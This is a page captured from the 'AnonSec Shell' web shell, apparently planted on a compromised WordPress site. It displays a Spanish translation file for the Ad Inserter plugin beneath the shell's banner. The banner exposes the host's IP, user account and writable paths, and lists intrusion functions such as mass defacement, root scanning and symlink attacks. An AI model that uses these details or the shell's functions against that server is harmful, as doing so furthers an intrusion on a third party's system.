AnonSec Shell
Server IP : 198.54.125.146  /  Your IP : 18.227.48.91   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux business38.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : engixevu ( 716)
PHP Version : 8.1.31
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/engixevu/smartjobbox.com/wp-content/plugins/ad-inserter/includes/dst/languages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/engixevu/smartjobbox.com/wp-content/plugins/ad-inserter/includes/dst/languages/dst-es_ES.po
# Translation of Plugins - Ad Inserter – Ad Manager & AdSense Ads - Stable (latest release) in Spanish (Spain)
# This file is distributed under the same license as the Plugins - Ad Inserter – Ad Manager & AdSense Ads - Stable (latest release) package.
msgid ""
msgstr ""
"Project-Id-Version: Plugins - Ad Inserter – Ad Manager & AdSense "
"Ads - Stable (latest release)\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2018-10-27 22:26+0200\n"
"PO-Revision-Date: 2020-12-04 12:39+0100\n"
"Last-Translator: Igor Funa <info@adinserter.pro>\n"
"Language-Team: \n"
"Language: es\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Poedit 2.4.2\n"

#: dst.php:319
msgid "Every minute"
msgstr "Cada minuto"

#: dst.php:324
msgid "Once Weekly"
msgstr "Una vez a la semana"

#: dst.php:328
msgid "Once Monthly"
msgstr "Una vez al mes"

#: dst.php:332
msgid "Twice Monthly"
msgstr "Dos veces al mes"

#: dst.php:526
msgid "No plugin data."
msgstr "Sin datos del plugin."

#: dst.php:898
msgctxt "Button"
msgid "Allow"
msgstr "Permitir"

#: dst.php:900
msgctxt "Button"
msgid "Do not allow"
msgstr "No permitir"

#: dst.php:1124
msgid ""
"Thank you for installing our plugin. We'd like your permission to track its "
"usage on your site and subscribe you to our newsletter. This is completely "
"optional."
msgstr ""
"Gracias por instalar nuestro plugin. Nos gustaría tu permiso para hacer un "
"seguimiento de uso en tu sitio y suscribirte a nuestro boletín. Es "
"completamente opcional."

#: dst.php:1125
msgid ""
"We won't record any sensitive data, only information regarding the WordPress "
"environment and plugin settings, which will help us to make improvements to "
"the plugin."
msgstr ""
"No registraremos datos confidenciales, solo información relacionada con el "
"entorno de WordPress y los ajustes del plugin, lo que nos ayudará a realizar "
"mejoras en el plugin."

#: dst.php:1128
msgid ""
"Thank you for installing our theme. We'd like your permission to track its "
"usage on your site and subscribe you to our newsletter. This is completely "
"optional."
msgstr ""
"Gracias por instalar nuestro tema. Nos gustaría tu permiso para hacer un "
"seguimiento de uso en tu sitio y suscribirte a nuestro boletín. Es "
"completamente opcional."

#: dst.php:1129
msgid ""
"We won't record any sensitive data, only information regarding the WordPress "
"environment and theme settings, which will help us to make improvements to "
"the theme."
msgstr ""
"No registraremos datos confidenciales, solo información sobre el entorno de "
"WordPress y los ajustes del tema, lo que nos ayudará a mejorar el tema."

#: dst.php:1137
msgid ""
"Thank you for installing our plugin. We would like to track its usage on "
"your site. This is completely optional."
msgstr ""
"Gracias por instalar nuestro plugin. Nos gustaría hacer un seguimiento de "
"uso en tu sitio. Es completamente opcional."

#: dst.php:1138
msgid ""
"We don't record any sensitive data, only information regarding the WordPress "
"environment and plugin settings, which will help us to make improvements to "
"the plugin."
msgstr ""
"No registramos datos confidenciales, solo información sobre el entorno de "
"WordPress y los ajustes del plugin, lo que nos ayudará a realizar mejoras en "
"el plugin."

#: dst.php:1141
msgid ""
"Thank you for installing our theme. We would like to track its usage on your "
"site. This is completely optional."
msgstr ""
"Gracias por instalar nuestro tema. Nos gustaría hacer un seguimiento de uso "
"en tu sitio. Es completamente opcional."

#: dst.php:1142
msgid ""
"We don't record any sensitive data, only information regarding the WordPress "
"environment and theme settings, which will help us to make improvements to "
"the theme."
msgstr ""
"No registramos datos confidenciales, solo información relacionada con el "
"entorno de WordPress y los ajustes del tema, lo que nos ayudará a mejorar el "
"tema."

#: dst.php:1152
msgid ""
"Thank you for opting in to tracking. Would you like to receive occasional "
"news about this plugin, including details of new features and special offers?"
msgstr ""
"Gracias por participar en el seguimiento. ¿Te gustaría recibir noticias "
"ocasionales acerca de este plugin, incluidos detalles de nuevas funciones y "
"ofertas especiales?"

#: dst.php:1154
msgid ""
"Thank you for opting in to tracking. Would you like to receive occasional "
"news about this theme, including details of new features and special offers?"
msgstr ""
"Gracias por participar en el seguimiento. ¿Te gustaría recibir noticias "
"ocasionales acerca de este tema, incluidos los detalles de las nuevas "
"funciones y ofertas especiales?"

#: dst.php:1176
msgid "Sorry to see you go"
msgstr "Siento verte marchar"

#: dst.php:1177
msgid ""
"Before you deactivate the plugin, would you quickly give us your reason for "
"doing so?"
msgstr ""
"Antes de desactivar el plugin, ¿nos das rápidamente tu razón para hacerlo?"

#: dst.php:1179
msgid "Set up is too difficult"
msgstr "La configuración es demasiado difícil"

#: dst.php:1180
msgid "Lack of documentation"
msgstr "Falta de documentación"

#: dst.php:1181
msgid "Not the features I wanted"
msgstr "No son las características que quería"

#: dst.php:1182
msgid "Doesn't work"
msgstr "No funciona"

#: dst.php:1183
msgid "Found a better plugin"
msgstr "Encontré un plugin mejor"

#: dst.php:1184
msgid "Installed by mistake"
msgstr "Instalado por error"

#: dst.php:1185
msgid "Just testing"
msgstr "Sólo lo estaba probando"

#: dst.php:1186
msgid "Only required temporarily"
msgstr "Solo temporalmente obligatorio"

#: dst.php:1187
msgid "Don't show this form again"
msgstr "No mostrar este formulario de nuevo"

#: dst.php:1189
msgid "Details (optional)"
msgstr "Detalles (opcional)"

#: dst.php:1190
msgid "This information will greatly help us to improve the plugin."
msgstr "Esta información nos ayudará mucho a mejorar el plugin."

#: dst.php:1191
msgid "Goodbye!"
msgstr "¡Adiós!"

#: dst.php:1234
msgid "Submitting form"
msgstr "Enviando formulario"

#: dst.php:1345
msgctxt "Button"
msgid "Cancel"
msgstr "Cancelar"

#: dst.php:1345
msgctxt "Button"
msgid "Just Deactivate"
msgstr "Solo desactivar"

#: dst.php:1345
msgctxt "Button"
msgid "Submit and Deactivate"
msgstr "Enviar y desactivar"

Anon7 - 2022
AnonSec Team